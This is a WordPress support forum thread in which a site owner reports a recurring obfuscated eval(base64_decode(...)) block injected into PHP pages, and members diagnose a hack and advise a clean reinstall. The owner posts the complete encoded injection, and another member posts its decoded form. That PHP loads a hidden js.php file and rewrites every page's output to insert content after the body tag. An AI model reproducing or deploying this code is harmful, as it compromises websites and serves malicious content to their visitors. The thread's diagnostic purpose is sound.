WordPress.org

1. bcorson
   Member
   Posted 2 years ago #

   On my site, I notice that some pages are modified apparently by WordPress. The modification is a section added at the top of the page in an encoded form.
   It starts like '<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3....'
   When you decode it, it seems to have a lot of WOrdPress references although it is difficult to interpret it.
   Does anybody know what this is? Is it actually WordPress doing this? Why is it done?
   Is my system infected and I do not know it?

2. apljdi
   Member
   Posted 2 years ago #

   That isn't WordPress. I grepped my whole install. WP does use eval a few times but nothing like eval(base64 shows up anywhere. I'd suggest a complete re-install from clean sources, and an update if you aren't using the latest release. Hopefully your DB isn't compromised. What is your URL? I have a morbid curiousity about base64_encoded strings. :)

3. whooami
   Member
   Posted 2 years ago #

   bcorson,

   your wordpress install is exploited. youve been hacked.

4. bcorson
   Member
   Posted 2 years ago #

   here is a link
   http://www.sturbridgelakes.com/FallFestival08/photos/index.php

   and here is the full code added
   '<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcva3VuZGVuL2hvbWVwYWdlcy8xMy9kMTg3OTI3MjEwL2h0ZG9jcy9TdHVyYnJpZGdlTGFrZXMvc2xhd2ViL3dvcmRwcmVzcy93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9pbWFnZXMveHAvanMucGhwJykpe2luY2x1ZGVfb25jZSgnL2t1bmRlbi9ob21lcGFnZXMvMTMvZDE4NzkyNzIxMC9odGRvY3MvU3R1cmJyaWRnZUxha2VzL3NsYXdlYi93b3JkcHJlc3Mvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCcpO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJiFmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2d6ZGVjb2RlJykpe2Z1bmN0aW9uIGd6ZGVjb2RlKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgpeyRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkI9b3JkKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDMsMSkpOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9MTA7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0wO2lmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImNCl7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT11bnBhY2soJ3YnLHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4LDEwLDIpKTskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPSRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzFbMV07JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9MiskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxO31pZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjgpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMTYpeyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDE9c3RycG9zKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsY2hyKDApLCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImMil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSs9Mjt9JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz1nemluZmxhdGUoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkpO2lmKCRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM9PT1GQUxTRSl7JFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz0kUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4O31yZXR1cm4gJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mzt9fWZ1bmN0aW9uIGRnb2JoKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0Ype0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA9Z3pkZWNvZGUoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRik7aWYocHJlZ19tYXRjaCgnL1w8Ym9keS9zaScsJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCkpe3JldHVybiBwcmVnX3JlcGxhY2UoJy8oXDxib2R5W15cPl0qXD4pL3NpJywnJDEnLmdtbCgpLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApO31lbHNle3JldHVybiBnbWwoKS4kUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwO319b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?>'

   This stuff appears and I delete it, but it keeps happening.

5. apljdi
   Member
   Posted 2 years ago #

   This stuff appears and I delete it, but it keeps happening.

   Like I said, clean install from fresh sources and you've got a software update to contend with as well.

6. eucopyright
   Member
   Posted 2 years ago #

   Your Base_64 code decodes to this:

   if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php')){include_once('/kunden/homepages/13/d187927210/htdocs/SturbridgeLakes/slaweb/wordpress/wp-includes/js/tinymce/themes/advanced/images/xp/js.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}

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